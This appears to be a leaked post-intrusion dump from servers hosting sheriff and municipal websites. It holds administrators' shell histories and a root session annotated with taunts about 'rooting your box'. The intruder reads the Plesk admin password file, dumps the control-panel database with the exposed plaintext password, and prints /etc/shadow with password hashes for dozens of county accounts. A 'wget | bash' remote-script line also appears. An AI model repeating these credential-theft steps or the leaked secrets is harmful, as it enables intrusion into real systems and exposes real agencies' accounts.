cd /var/www/vhosts/boonesheriff.com/home/
ll
vi test.txt
ll
cronatb -l
crontab -l
/usr/bin/php /var/www/vhosts/boonesheriff.com/home/parse_pcv.php >/dev/null 2>&1
ll
cd images/
ll
ll
cd ..
ll
ls
ls scripts/
at 6:00 AM tomorrow
postfix -q
postfix -p
postqueue -q
postqueue -p
cd /usr/local/ll
cd /usr/local/psa/var/
ll
cd log
ll
less maillog
grep 'status=' maillog | less
grep 'status=deferred' maillog | less
grep 'timed out while receiving the initial server greeting' maillog | less
grep 'conversation with s2smtpout' maillog | less
grep 'radams' maillog | less
crontab -l
grep 'conversation with s2smtpout' maillog | mail -s "Relay Server Issues"
[email protected]
grep '[email protected]' maillog | less
cd ~
ll
ll
less huh
ll
ll -rt
cd MASS_PASS/
ll
php masspass.php
php masspass.php -oY9BNtSeb -nYNw1rTxp
php masspass.php
php masspass.php -n10df020e5e24b80589b4b618b107055c
-o705ad48f3563c4c30d3fec8564b7636b
php masspass.php
cd MASS_PASS/
ll
php masspass.php
ll
cd MASS_PASS/
php masspass.php
su - mstapleton
cd /var/www/vhosts/
ll
cd cherokeecountyalsheriff.com/
ll
cd httpdocs/
ll
cd _newsite/
ll
cd ../
ll
chown -R ccsal:psacln _newsite/
ll
cd _newsite/
ll
exit
cd /var/www/vhosts/cherokeecountyalsheriff.com/
ll
cd httpdocs/
ll
cd _n
cd _newsite/
ll
cd controllers/
ll
cd ../
ll
chown -R ccsal:psacln controllers/
chown -R ccsal:psacln helpers/
chown -R ccsal:psacln model/
chown -R ccsal:psacln views/
ll
exit


# cat ~webdebt/.bash_history


su -l root -c "wget -q -O - http://208.109.96.14/public/scripts/nbu_install.sh |
bash -s 800384d4-e9bb-11de-a2ed-00114332b4ff"
exit
su root
su
ls
cd var/
ls
cd www/vhosts/
ls
cd baxtercountysheriff.com/
ls
cd httpdocs
ls
mkdir httpdocs
su -
su -
ls
cd /var/www/vhosts/
ls
cd baxtercountysheriff.com/
ls
mkdir vhosts
cd ..
ls
mkdir poop
rm poop
rm -rf poop
ls
cd 20jdpa
cd 20jdpa.com/
ls
mkdir httpdocs
ls
mkdir httpdocs
su
cd /var/www/vhosts/
ll
cd 20jdpa.com/httpdocs/
su
su -
mkdir cert
exit
su -
su -
exti
exit
su -
su -
su -
su -
exi
exit
ll
cd ..
cd
ll
cd
/
cd //
ll
su -
exit
su
cd.
;;
ll
su root
ll
cd
ll
cd
ll
su
su -
cd .ssh
lll
ll
ll -a
less authorized_keys
cd ~
pwd
exit

////////////////////////////////////////////////////////////////////////////////
  ON TO SERVER NUMBER TWO...
  ROOTING YOUR BOX ALL OVER AGAIN ... THANKS FOR COPYING OUR ROOTSHELLS OVER!
////////////////////////////////////////////////////////////////////////////////

# id
uid=0(root) gid=0(root) groups=48(apache),504(psaserv),506(psasb)

# uname -a
Linux ip-173-201-44-217.ip.secureserver.net 2.6.18-194.26.1.el5 #1 SMP Tue Nov 9
12:54:40 EST 2010 i686 i686 i386 GNU/Linux

// GET THEIR NEW PLESK ROOT PASSWORD...

# cat /etc/psa/.psa.shadow
xP7bhLwbSkNiHyWS9PpnCG/u1wMkKy2/

// GET THEIR NEW PASSWORDS... THANKS AGAIN PLESK FOR THE PLAINTEXTS

# mysqldump -q -u admin -pxP7bhLwbSkNiHyWS9PpnCG/u1wMkKy2/ --databases psa
--add-drop-table > newpasses.sql

// JUST FOR FUN...

# cat /etc/shadow
root:$1$.1QVTig3$JduJkOj4jwaps0mslfpGK0:15184:0:99999:7:::
bin:*:13913:0:99999:7:::
daemon:*:13913:0:99999:7:::
adm:*:13913:0:99999:7:::
lp:*:13913:0:99999:7:::
sync:*:13913:0:99999:7:::
shutdown:*:13913:0:99999:7:::
halt:*:13913:0:99999:7:::
mail:*:13913:0:99999:7:::
news:*:13913:0:99999:7:::
uucp:*:13913:0:99999:7:::
operator:*:13913:0:99999:7:::
games:*:13913:0:99999:7:::
gopher:*:13913:0:99999:7:::
ftp:*:13913:0:99999:7:::
nobody:*:13913:0:99999:7:::
rpm:!!:13913:0:99999:7:::
dbus:!!:13913:0:99999:7:::
mailnull:!!:13913:0:99999:7:::
smmsp:!!:13913:0:99999:7:::
nscd:!!:13913:0:99999:7:::
vcsa:!!:13913:0:99999:7:::
rpc:!!:13913:0:99999:7:::
rpcuser:!!:13913:0:99999:7:::
nfsnobody:!!:13913:0:99999:7:::
sshd:!!:13913:0:99999:7:::
pcap:!!:13913:0:99999:7:::
haldaemon:!!:13913:0:99999:7:::
bjmsuper:$1$M63jQMA6$cv.SNTL28NcjmVAaxs2Ej.:15184:0:99999:7:::
avahi:!!:15182::::::
avahi-autoipd:!!:15182::::::
named:!!:15182::::::
xfs:!!:15182::::::
apache:!!:15182::::::
distcache:!!:15182::::::
mysql:!!:15182::::::
ntp:!!:15182::::::
psaadm:!!:15182:0:99999:7:::
popuser:!!:15182:0:99999:7:::
mhandlers-user:!!:15182:0:99999:7:::
psaftp:!!:15182:0:99999:7:::
sw-cp-server:!!:15182:0:99999:7:::
webalizer:!!:15182::::::
postgres:!!:15182::::::
mailman:!!:15182::::::
drweb:!!:15182::::::
postfix:!!:15182::::::
bcsd:$1$xCMvzTCw$la6TitHPqhZJZxGm8htNm0:15184:0:99999:7:::
bocs:$1$5MIGny/8$RomAufC87/GVd5jpQqvXd1:15185:0:99999:7:::
bcso_tiger:$1$sezwL7Dg$FoEEp5RY.3X.nT.uyA1C8/:15184:0:99999:7:::
ciga:$1$/FQWHz0M$yWPMQj14PQvi1fecxIrsO1:15185:0:99999:7:::
kcsoms:$1$xAHy/f1k$7xCQaeD8ixjn3xhVwaZyX.:15184:0:99999:7:::
mcsd:$1$sEyGh2be$PMm64ZLZ7F35Th.EdFZBO1:15184:0:99999:7:::
bjm:$1$Cy5SbB3b$WHQqxFVZ.mo9CAuw3QK2U.:15184:0:99999:7:::
demo:$1$yY//AeXg$wNK80Z9Un9tVXIBdSnFVr.:15184:0:99999:7:::
dymin:$1$Y3Q/Kl9u$BLGlnjVjes3j0Ef6mZKai.:15184:0:99999:7:::
code:$1$djs7zQTz$MLKsBoIpUu9kQsOJCkgMM/:15184:0:99999:7:::
bjm2:$1$tW0LeatV$nR94bHILSdmz0Q4N1lpuu1:15184:0:99999:7:::
polms:$1$dnP9bxxQ$DpXSyrQ6sAFBlchPa1nEd.:15184:0:99999:7:::
dcsd:$1$ifDMxt/3$vu/BPAh/654jVaUy1FwGk.:15184:0:99999:7:::
hcsoks:$1$8wW7ldva$S8VCJaXcIVvBY7vfEld2I/:15184:0:99999:7:::
acsoms:$1$KhajK9K4$gZD3GQ4hFg3bZnm0vi6AN.:15184:0:99999:7:::
bcsd_sync:$1$uFr8iazf$aByYOYgT811Ip.4wRexL2/:15184:0:99999:7:::
stoms:$1$lBU2FPZk$HD9JCRmC/zs689ayKbnOO/:15185:0:99999:7:::
sgsomo:$1$pf9ArBub$aBn.2ZMWAtTYF85YqEep7/:15185:0:99999:7:::
lcsomo:$1$JR2qCyHf$u41XNGVKhFOdTU9y1e.wY/:15185:0:99999:7:::
bcsoga:$1$rI93Txxe$2QOjFc33mgEVsYJo89pwf/:15185:0:99999:7:::
scsomo:$1$r/8EJ7/Q$jbDryfYFa.AZ1pSWHYrqv.:15185:0:99999:7:::
izcg:$1$um.djC2T$HpUPY4cMmw26EUq1GBFnQ.:15185:0:99999:7:::
crcsd:$1$PgW3mxOA$WIfi2QX4j5z9HQ/yDadUZ1:15185:0:99999:7:::
ncsd:$1$z7qrcv0Q$bLlPk0X3ICll7Jj.SYFko.:15185:0:99999:7:::
johms:$1$YtAcr6vB$rMntSo3tbOZEiAbeFv8FU/:15185:0:99999:7:::
mcmtn:$1$8Wo2rZXP$y7Ku9Vgu41Ee0mF6zJgv//:15185:0:99999:7:::
vbcsd:$1$1GxJKxHV$Qc6XRkLc7SZrf3RrSJ/gd1:15185:0:99999:7:::
rcpica:$1$OWMi9c1P$JvVzpKMhV..4iOLQh.iGz0:15185:0:99999:7:::
icsd:$1$vYV3gRcq$qorp1ljJnyp/zzx9nnL8d.:15185:0:99999:7:::
gcsd:$1$KxQLd2nC$emDotofAdSi8FVxHUa6070:15185:0:99999:7:::
lawmo:$1$XS9q5HHW$WEMi7d5BhZfJ5hFF4tEZy/:15185:0:99999:7:::

// ROOT LOGGED IN... THEY ARE ON TO US... BUT CAN NEVER STOP US

# w; ps -aux
 16:00:00 up 3 days, 14:28,  2 users,  load average: 0.04, 0.05, 0.08
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
bjmsuper pts/0    mthm-static-67-2 09:42    6:10m  0.02s  0.25s sshd: bjmsuper
root     pts/1    mthm-static-67-2 Fri11   10:59   0.54s  0.54s -bash
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0   2160   584 ?        Ss   Jul27   0:01 init [3]
root         2  0.0  0.0      0     0 ?        S<   Jul27   0:00 [migration/0]
root         3  0.0  0.0      0     0 ?        SN   Jul27   0:00 [ksoftirqd/0]
root         4  0.0  0.0      0     0 ?        S<   Jul27   0:00 [watchdog/0]
root         5  0.0  0.0      0     0 ?        S<   Jul27   0:00 [migration/1]
root         6  0.0  0.0      0     0 ?        SN   Jul27   0:00 [ksoftirqd/1]
root         7  0.0  0.0      0     0 ?        S<   Jul27   0:00 [watchdog/1]
root         8  0.0  0.0      0     0 ?        S<   Jul27   0:00 [migration/2]
root         9  0.0  0.0      0     0 ?        SN   Jul27   0:00 [ksoftirqd/2]
root        10  0.0  0.0      0     0 ?        S<   Jul27   0:00 [watchdog/2]
root        11  0.0  0.0      0     0 ?        S<   Jul27   0:00 [migration/3]
root        12  0.0  0.0      0     0 ?        SN   Jul27   0:00 [ksoftirqd/3]
root        13  0.0  0.0      0     0 ?        S<   Jul27   0:00 [watchdog/3]
root        14  0.0  0.0      0     0 ?        S<   Jul27   0:00 [events/0]
root        15  0.0  0.0      0     0 ?        S<   Jul27   0:00 [events/1]
root        16  0.0  0.0      0     0 ?        S<   Jul27   0:00 [events/2]
root        17  0.0  0.0      0     0 ?        S<   Jul27   0:00 [events/3]
root        18  0.0  0.0      0     0 ?        S<   Jul27   0:00 [khelper]
root        19  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kthread]
root        25  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kblockd/0]
root        26  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kblockd/1]
root        27  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kblockd/2]
root        28  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kblockd/3]
root        29  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kacpid]
root       130  0.0  0.0      0     0 ?        S<   Jul27   0:00 [cqueue/0]
root       131  0.0  0.0      0     0 ?        S<   Jul27   0:00 [cqueue/1]
root       132  0.0  0.0      0     0 ?        S<   Jul27   0:00 [cqueue/2]
root       133  0.0  0.0      0     0 ?        S<   Jul27   0:00 [cqueue/3]
root       136  0.0  0.0      0     0 ?        S<   Jul27   0:00 [khubd]
root       138  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kseriod]
root       213  0.0  0.0      0     0 ?        S    Jul27   0:00 [khungtaskd]
root       216  0.0  0.0      0     0 ?        S<   Jul27   0:04 [kswapd0]
root       217  0.0  0.0      0     0 ?        S<   Jul27   0:00 [aio/0]
root       218  0.0  0.0      0     0 ?        S<   Jul27   0:00 [aio/1]
root       219  0.0  0.0      0     0 ?        S<   Jul27   0:00 [aio/2]
root       220  0.0  0.0      0     0 ?        S<   Jul27   0:00 [aio/3]
root       375  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kpsmoused]
root       422  0.0  0.0      0     0 ?        S<   Jul27   0:00 [scsi_eh_0]
root       428  0.0  0.0      0     0 ?        S<   Jul27   0:00 [ata/0]
root       429  0.0  0.0      0     0 ?        S<   Jul27   0:00 [ata/1]
root       430  0.0  0.0      0     0 ?        S<   Jul27   0:00 [ata/2]
root       431  0.0  0.0      0     0 ?        S<   Jul27   0:00 [ata/3]
root       432  0.0  0.0      0     0 ?        S<   Jul27   0:00 [ata_aux]
root       438  0.0  0.0      0     0 ?        S<   Jul27   0:00 [scsi_eh_1]
root       439  0.0  0.0      0     0 ?        S<   Jul27   0:00 [scsi_eh_2]
root       460  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kstriped]
root       481  0.0  0.0      0     0 ?        S<   Jul27   0:22 [kjournald]
root       506  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kauditd]
root       539  0.0  0.0   2376   628 ?        S<   Jul27   0:00 [kmpathd/0]
root      1391  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kmpathd/1]
root      1392  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kmpathd/2]
root      1393  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kmpathd/3]
root      1394  0.0  0.0      0     0 ?        S<   Jul27   0:00
[kmpath_handlerd]
root      1423  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kjournald]
root      1687  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kondemand/0]
root      1688  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kondemand/1]
root      1689  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kondemand/2]
root      1690  0.0  0.0      0     0 ?        S<   Jul27   0:00 [kondemand/3]
root      2146  0.0  0.0  12628   776 ?        S<   Jul27   0:00 [rpciod/0]
root      2259  0.0  0.0      0     0 ?        S<   Jul27   0:00 [rpciod/1]
root      2260  0.0  0.0      0     0 ?        S<   Jul27   0:00 [rpciod/2]
root      2261  0.0  0.0      0     0 ?        S<   Jul27   0:00 [rpciod/3]
rpcuser   2270  0.0  0.0   1964   744 ?        Ss   Jul27   0:00 rpc.statd
root      2302  0.0  0.0   5952   636 ?        Ss   Jul27   0:00 rpc.idmapd
dbus      2330  0.0  0.0   2844   940 ?        Ss   Jul27   0:00 dbus-daemon
--system
root      2343  0.0  0.0   2256   768 ?        Ss   Jul27   0:00 /usr/sbin/hcid
root      2349  0.0  0.0   1832   504 ?        Ss   Jul27   0:00 /usr/sbin/sdpd
root      2380  0.0  0.0      0     0 ?        S<   Jul27   0:00 [krfcommd]
root      2424  0.0  0.0  12956  1396 ?        Ssl  Jul27   0:00 pcscd
root      2438  0.0  0.0   1760   524 ?        Ss   Jul27   0:00 /usr/sbin/acpid
root      2462  0.0  0.0   2008   452 ?        Ss   Jul27   0:00 /usr/bin/hidd
--server
root      2492  0.0  0.0  27364  1368 ?        Ssl  Jul27   0:00 automount
root      2565  0.0  0.0  10260  2316 ?        Ss   Jul27   0:00 cupsd
root      2582  0.0  0.0   2836   872 ?        Ss   Jul27   0:00 xinetd
-stayalive -pidfile /var/run/xinetd.pid
root      2687  0.0  0.0   6972  1804 ?        Ss   Jul27   0:05
/usr/libexec/postfix/master
root      2721  0.0  0.0   2000   364 ?        Ss   Jul27   0:00 gpm -m
/dev/input/mice -t exps2
postgres  2969  0.0  0.1  21248  3320 ?        S    Jul27   0:00
/usr/bin/postmaster -p 5432 -D /var/lib/pgsql/data
postgres  2971  0.0  0.0  11024   864 ?        S    Jul27   0:00 postgres:
logger process
postgres  2973  0.0  0.0  21248   948 ?        S    Jul27   0:00 postgres:
writer process
postgres  2974  0.0  0.0  12028   768 ?        S    Jul27   0:00 postgres: stats
buffer process
postgres  2975  0.0  0.0  11212   948 ?        S    Jul27   0:00 postgres: stats
collector process
drweb     3167  0.2  3.8 122892 119308 ?       Ss   Jul27  13:13 drwebd.real
root      3186  0.0  0.3  41216 10008 ?        S    Jul27   0:24
/usr/bin/sw-engine -c /usr/local/psa/admin/conf/php.ini
/usr/lib/plesk-9.0/psa-health-monitor-notification.php
root      3200  0.6  0.0  71956  2632 ?        Ssl  Jul27  31:31
/usr/sbin/sw-collectd -C /etc/sw-collectd/collectd.conf
root      3219  0.0  0.0   5380  1132 ?        Ss   Jul27   0:00 crond
xfs       3244  0.0  0.0   3264   992 ?        Ss   Jul27   0:00 xfs -droppriv
-daemon
root      3269  0.0  0.0   2360   436 ?        Ss   Jul27   0:00 /usr/sbin/atd
avahi     3296  0.0  0.0   2696  1300 ?        Ss   Jul27   0:00 avahi-daemon:
running [ip-173-201-44-217.local]
avahi     3297  0.0  0.0   2696   432 ?        Ss   Jul27   0:00 avahi-daemon:
chroot helper
68        3310  0.0  0.1   5788  3780 ?        Ss   Jul27   0:00 hald
root      3311  0.0  0.0   3264   988 ?        S    Jul27   0:00 hald-runner
68        3319  0.0  0.0   2108   816 ?        S    Jul27   0:00
hald-addon-acpi: listening on acpid socket /var/run/acpid.socket
root      3348  0.0  0.0  33228   532 ?        Sl   Jul27   0:00 /usr/bin/hptsvr
root      3650  0.0  0.3  26128 10404 ?        SN   Jul27   0:00 /usr/bin/python
-tt /usr/sbin/yum-updatesd
root      3653  0.0  0.0   2656  1136 ?        SN   Jul27   0:00
/usr/libexec/gam_server
root      3707  0.0  0.0   3612   428 ?        S    Jul27   0:00
/usr/sbin/smartd -q never
root      3711  0.0  0.0   1748   440 tty2     Ss+  Jul27   0:00 /sbin/mingetty
tty2
root      3712  0.0  0.0   1748   444 tty3     Ss+  Jul27   0:00 /sbin/mingetty
tty3
root      3713  0.0  0.0   1748   464 tty4     Ss+  Jul27   0:00 /sbin/mingetty
tty4
root      3716  0.0  0.0   1748   444 tty5     Ss+  Jul27   0:00 /sbin/mingetty
tty5
root      3718  0.0  0.0   1748   444 tty6     Ss+  Jul27   0:00 /sbin/mingetty
tty6
root      5002  0.0  0.0   1748   440 tty1     Ss+  Jul27   0:00 /sbin/mingetty
tty1
root      9735  0.0  0.0   2940   552 ?        S    Jul29   0:00
/usr/lib/courier-imap/couriertcpd -address=0
-stderrlogger=/usr/sbin/courierlogger -stderrloggername=imapd -maxprocs=40
-maxperip=4 -pid=/var/run/imapd.pid -nodnslookup -noidentlookup 143
/usr/sbin/imaplogin /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
root      9737  0.0  0.0   1616   244 ?        S    Jul29   0:00
/usr/sbin/courierlogger imapd
root      9745  0.0  0.0   2940   568 ?        S    Jul29   0:00
/usr/lib/courier-imap/couriertcpd -address=0
-stderrlogger=/usr/sbin/courierlogger -stderrloggername=imapd-ssl -maxprocs=40
-maxperip=4 -pid=/var/run/imapd-ssl.pid -nodnslookup -noidentlookup 993
/usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
/usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
root      9747  0.0  0.0   1616   244 ?        S    Jul29   0:00
/usr/sbin/courierlogger imapd-ssl
root      9753  0.0  0.0   2940   568 ?        S    Jul29   0:00
/usr/lib/courier-imap/couriertcpd -address=0
-stderrlogger=/usr/sbin/courierlogger -stderrloggername=pop3d -maxprocs=40
-maxperip=4 -pid=/var/run/pop3d.pid -nodnslookup -noidentlookup 110
/usr/sbin/pop3login /usr/lib/courier-imap/authlib/authpsa /usr/bin/pop3d Maildir
root      9755  0.0  0.0   1616   244 ?        S    Jul29   0:00
/usr/sbin/courierlogger pop3d
root      9762  0.0  0.0   2940   552 ?        S    Jul29   0:00
/usr/lib/courier-imap/couriertcpd -address=0
-stderrlogger=/usr/sbin/courierlogger -stderrloggername=pop3d-ssl -maxprocs=40
-maxperip=4 -pid=/var/run/pop3d-ssl.pid -nodnslookup -noidentlookup 995
/usr/bin/couriertls -server -tcpd /usr/sbin/pop3login
/usr/lib/courier-imap/authlib/authpsa /usr/bin/pop3d Maildir
root      9764  0.0  0.0   1616   244 ?        S    Jul29   0:00
/usr/sbin/courierlogger pop3d-ssl
root     10009  0.0  0.0      0     0 ?        S    12:50   0:00 [pdflush]
root     11853  0.0  0.9  34508 29812 ?        Ss   Jul29   0:00 /usr/bin/spamd
--username=popuser --daemonize --nouser-config --helper-home-dir=/var/qmail
--max-children 5 --create-prefs
--virtual-config-dir=/var/qmail/mailnames/%d/%l/.spamassassin
--pidfile=/var/run/spamd/spamd_full.pid --socketpath=/tmp/spamd_full.sock
popuser  11854  0.0  0.9  34508 28388 ?        S    Jul29   0:00 spamd child
popuser  11855  0.0  0.9  34508 28312 ?        S    Jul29   0:00 spamd child
503      17229  0.0  0.2  10356  6568 ?        S    Jul27   0:43
/usr/sbin/sw-cp-serverd -f /etc/sw-cp-server/config
root     18794  0.0  0.0   4628  1216 ?        S    Jul27   0:00 /bin/sh
/usr/bin/mysqld_safe --datadir=/var/lib/mysql --socket=/var/lib/mysql/mysql.sock
--log-error=/var/log/mysqld.log --pid-file=/var/run/mysqld/mysqld.pid
--user=mysql
mysql    18844  0.3  1.0 150116 32948 ?        Sl   Jul27  17:10
/usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql
--pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking
--socket=/var/lib/mysql/mysql.sock
postfix  20135  0.0  0.0   7036  1780 ?        S    14:37   0:00 pickup -l -t
fifo -u -o content_filter smtp:127.0.0.1:10027
postfix  20730  0.0  0.0   7728  2544 ?        S    Jul28   0:05 qmgr -l -t fifo
-u
postfix  20733  0.0  0.0   7072  1940 ?        S    Jul28   0:00 tlsmgr -l -t
unix -u
root     23510  0.0  0.1  12000  3420 ?        Ss   09:42   0:00 sshd: bjmsuper
[priv]
bjmsuper 23516  0.0  0.0  12000  1852 ?        S    09:42   0:00 sshd:
bjmsuper@pts/0
bjmsuper 23517  0.0  0.0   4632  1476 pts/0    Ss   09:42   0:00 -bash
root     23545  0.0  0.0   9404  2092 pts/0    S    09:42   0:00 su -
root     23546  0.0  0.0   4752  1444 pts/0    S+   09:42   0:00 -bash
root     24221  0.0  0.0   7220  1056 ?        Ss   Jul28   0:00 /usr/sbin/sshd
drweb    25217  0.0  3.8 122892 117976 ?       S    15:30   0:00 drwebd.real
drweb    25218  0.0  3.8 122892 117980 ?       S    15:30   0:00 drwebd.real
drweb    25219  0.0  3.8 122892 117980 ?       S    15:30   0:00 drwebd.real
drweb    25220  0.0  3.8 122892 117980 ?       S    15:30   0:00 drwebd.real
named    26286  0.0  0.2  75300  6296 ?        Ssl  Jul27   0:03 /usr/sbin/named
-u named -c /etc/named.conf -u named -t /var/named/run-root
root     28663  0.0  0.0      0     0 ?        S    15:48   0:00 [pdflush]
root     29137  0.0  0.6  44620 20492 ?        Ss   15:48   0:00 /usr/sbin/httpd
apache   29139  0.0  0.2  30444  8224 ?        S    15:48   0:00 /usr/sbin/httpd
apache   29140  0.0  0.8  54880 26848 ?        S    15:48   0:00 /usr/sbin/httpd
apache   29141  0.0  0.5  45352 16812 ?        S    15:48   0:00 /usr/sbin/httpd
apache   29142  0.0  0.5  45188 16312 ?        S    15:48   0:00 /usr/sbin/httpd
apache   29143  0.0  0.8  54820 26052 ?        S    15:48   0:00 /usr/sbin/httpd
apache   29145  0.0  0.5  45368 16896 ?        S    15:48   0:00 /usr/sbin/httpd
apache   29146  0.0  0.5  45516 16564 ?        S    15:48   0:00 /usr/sbin/httpd
apache   29148  0.0  0.5  45536 16508 ?        S    15:48   0:00 /usr/sbin/httpd
apache   29194  0.0  0.8  54796 26952 ?        S    15:48   0:00 /usr/sbin/httpd
apache   29195  0.0  0.5  45404 16312 ?        S    15:48   0:00 /usr/sbin/httpd
apache   29197  0.0  0.8  54844 25836 ?        S    15:48   0:00 /usr/sbin/httpd
apache   29198  0.0  0.5  45224 15928 ?        S    15:48   0:00 /usr/sbin/httpd
apache   29199  0.0  0.5  45232 15828 ?        S    15:48   0:00 /usr/sbin/httpd
apache   29200  0.0  0.8  54872 26868 ?        S    15:48   0:00 /usr/sbin/httpd
apache   29201  0.0  0.5  45268 17176 ?        S    15:48   0:00 /usr/sbin/httpd
apache   29202  0.0  0.5  45196 15784 ?        S    15:48   0:00 /usr/sbin/httpd
apache   29203  0.0  0.8  54908 27108 ?        S    15:48   0:00 /usr/sbin/httpd
apache   29205  0.0  0.5  45376 16368 ?        S    15:48   0:00 /usr/sbin/httpd
apache   29206  0.0  0.8  54844 26268 ?        S    15:48   0:00 /usr/sbin/httpd
apache   29207  0.0  0.5  45444 16520 ?        S    15:48   0:00 /usr/sbin/httpd
apache   29465  0.1  0.5  45152 15460 ?        S    15:57   0:00 /usr/sbin/httpd
apache   29617  0.0  0.0   2548   984 ?        S    16:00   0:00 sh -c w;ps -aux
apache   29620  0.0  0.0   2276   824 ?        R    16:00   0:00 ps -aux
root     30158  0.0  0.1  12136  3224 ?        Ss   Jul29   0:03 sshd:
root@pts/1
root     30168  0.0  0.0   4748  1536 pts/1    Ss+  Jul29   0:00 -bash

// LETS SEE HOW THEY ATTEMPTED TO SECURE THEIR NEW SERVER...

# cat ~root/.bash_history
ifconfig
ping 10.0.0.1
ping 10.0.0.254
service sshd status
service network restart
service sshd restart
service iptables restart
service iptables stop
service iptables start
exit
service iptables stop
service psa start
service psa status
netstat -anp | less
tcpdump not port ssh
yum update -y
date
pwd
mkdir htmldoc
wget
http://www.htmldoc.org/software.php?VERSION=1.8.27&FILE=htmldoc/1.8.27/htmldoc-1
.8.27-source.tar.gz
ls
rm software.php\?VERSION\=1.8.27
cd htmldoc/
wget http://ftp.easysw.com/pub/htmldoc/1.8.27/htmldoc-1.8.27-source.tar.gz
gunzip htmldoc-1.8.27-source.tar.gz
tar -xvf htmldoc-1.8.27-source.tar
cd htmldoc-1.8.27
./configure
yum install gcc-c++
make
make install
cd ..
cd ..
mkdir ImageMagick
yum install tcl-devel libpng-devel libjpg-devel ghostscript-devel bzip2-devel
freetype-devel libtiff-devel
pwd
cd ImageMagick/
wget ftp://ftp.imagemagick.org/pub/ImageMagick/ImageMagick.tar.gz
tar -xzvf ImageMagick.tar.gz
cd ImageMagick-6.7.1-0/
ls
./configure --prefix=/usr/ --with-bzlib=yes --with-fontconfig=yes
--with-freetype=yes --with-gslib=yes --with-gvc=yes --with-jpeg=yes
--with-jp2=yes --with-png=yes --with-tiff=yes
yum install java-1.6.0-openjdk-devel.i386
cd /usr/src/
ls
wget http://www.pdflib.com/binaries/PDFlib/705/PDFlib-Lite-7.0.5.tar.gz
tar -xzpf PDFlib-Lite-7.0.5.tar.gz
cd PDFlib-Lite-7.0.5
ls
./configure -prefix=/usr/local
make
make install
yum install php-pear
pecl install pdflib
cp /usr/local/lib/libpdf.so /usr/include/php/ext
echo "[libpdf]" >> /etc/php.ini
echo "extension=pdf.so" >> /etc/php.ini
service httpd restart
cd /etc
ls php.ini
vi php.ini
vi php.ini
service httpd restart
cd
cd ImageMagick/
ls
cd ImageMagick
./configure --prefix=/usr/ --with-bzlib=yes --with-fontconfig=yes
--with-freetype=yes --with-gslib=yes --with-gvc=yes --with-jpeg=yes
--with-jp2=yes --with-png=yes --with-tiff=yes
ls
cd ImageMagick-6.7.1-0/
./configure --prefix=/usr/ --with-bzlib=yes --with-fontconfig=yes
--with-freetype=yes --with-gslib=yes --with-gvc=yes --with-jpeg=yes
--with-jp2=yes --with-png=yes --with-tiff=yes
yum install libjpeg-devel
yum install tcl-devel
yum install libpng-devel
yum install ghostscript-devel
yum install bzip2-devel
yum install freetype-devel
yum install libtiff-devel
./configure --prefix=/usr/ --with-bzlib=yes --with-fontconfig=yes
--with-freetype=yes --with-gslib=yes --with-gvc=yes --with-jpeg=yes
--with-jp2=yes --with-png=yes --with-tiff=yes
./configure --prefix=/usr/ --with-bzlib=yes --with-fontconfig=yes
--with-freetype=yes --with-gslib=yes --with-gvc=yes --with-jpeg=yes
--with-jp2=yes --with-png=yes --with-tiff=yes
make clean
make
make install
cd .ssh/
ll
chown root:root authorized_keys2
vi /etc/my.cnf
service mysqld restart
pkill mysql
service mysqld restart
ps -ef | grep my
vi /etc/my.cnf
service mysqld start
/usr/local/psa/bin/reconfigurator.pl mapfile
vi mapfile
ifconfig -a
vi mapfile
ifconfig -a
/usr/local/psa/bin/reconfigurator.pl mapfile
mv mapfile mapfile.old
/usr/local/psa/bin/reconfigurator.pl mapfile
vi mapfile
/usr/local/psa/bin/reconfigurator.pl mapfile
vi mapfile
mv mapfile mapfile88
/usr/local/psa/bin/reconfigurator.pl mapfile
vi mapfile
ll
cat mapfile.old
/usr/local/psa/bin/reconfigurator.pl mapfile.old
vi  mapfile.old
/usr/local/psa/bin/reconfigurator.pl mapfile.old
vi  mapfile.old
vi  mapfile.old
ls
ifconfig -a
ifconfig -a
rm mapfile
/usr/local/psa/bin/reconfigurator.pl mapfile.old
/usr/local/psa/bin/reconfigurator.pl mapfile
vi mapfile
ls /etc/sysconfig/network-scripts/
cd /etc/sysconfig/network-scripts/
ls
ls
less ifcfg-eth0
cd
ls
finder.pl /var/www/vhosts/
finder.pl /var/www/vhosts/
find /var/www/vhosts/
less /var/log/rkhunter.log
cd
cd /var/www/vhosts/cityofgassville.org/
ls
cd httpsdocs/
ls
less index.html
cd
cd /var/www/vhosts/mostwantedwebsites.net/
ll
cd httpdocs/
ls
ll
mkdir ../old
mv access_log.processed _bak/ csv_for_lead_hill_change_log.php test/ ../old/
ll
telnet mail.cityofgassville.com 25
ssh 173.201.44.1
cd /var/www/vhosts/
ls
cd default/
ll
cd htdocs/
ll
vi index.html
vi .htaccess
cd ..
cd ..
ls
cd mostwantedgovernmentwebsites.com
ll
cd httpdocs/
ll
find . -name \*bak\*
find . -perm 777 -ls
chown apache:apache ./uploads
chmod 1755 uploads/
ls admin
find . -perm 777 -type f -exec chmod 644 {} \; -ls
find uploads/ -ls
ls
ll
ll api
less api/index.php
mkdir ../old
find . -name \*bak\*
find . -name \*bak\* -exec mv -vb {} ../old/ \;
find . -name \*bak\*
ls
ll
cd /var/www/vhosts/
ls
cd default/
ll -a
cd htdocs/
ll
vi .htaccess
service httpd restart
vi .htaccess
service httpd restart
ls
ll
tcpdump port 80
